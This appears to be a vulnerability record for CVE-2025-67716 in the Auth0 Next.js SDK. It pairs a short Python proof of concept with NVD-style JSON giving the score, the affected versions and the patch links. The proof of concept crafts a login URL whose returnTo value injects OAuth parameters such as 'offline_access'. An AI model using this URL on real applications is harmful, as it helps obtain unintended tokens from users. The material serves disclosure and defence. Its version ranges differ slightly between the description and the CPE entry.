CVE-2025-67716

import urllib.parse # Malicious returnTo URL that injects OAuth parameters malicious_return_to = "https://victim-app.com/callback?prompt=consent&scope=openid%20profile%20email%20offline_access" # Encode the malicious returnTo URL encoded_return_to = urllib.parse.quote(malicious_return_to, safe='') # Construct the attack URL attack_url = f"https://victim-app.com/api/auth/login?returnTo={encoded_return_to}" print(f"Attack URL: {attack_url}") print(f"\nWhen victim clicks this link, the OAuth authorization request will include injected parameters:") print(f"- prompt=consent (forces consent screen)") print(f"- scope extended with offline_access (requests refresh token)")

{"cve": {"id": "CVE-2025-67716", "sourceIdentifier": "[email protected]", "published": "2025-12-11T01:16:00.890", "lastModified": "2026-03-06T19:29:09.597", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Auth0 Next.js SDK is a library for implementing user authentication in Next.js applications. Versions 4.9.0 through 4.12.1 contain an input-validation flaw in the returnTo parameter, which could allow attackers to inject unintended OAuth query parameters into the Auth0 authorization request. Successful exploitation may result in tokens being issued with unintended parameters. This issue is fixed in version 4.13.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.5, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-184"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:auth0:nextjs-auth0:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "4.9.0", "versionEndExcluding": "4.12.1", "matchCriteriaId": "49F414AC-40B3-474B-B15C-D6962933338C"}]}]}], "references": [{"url": "https://github.com/auth0/nextjs-auth0/commit/35eb321de3345ccf23e8c0d6f66c9f2f2f57d26c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/auth0/nextjs-auth0/security/advisories/GHSA-mr6f-h57v-rpj5", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}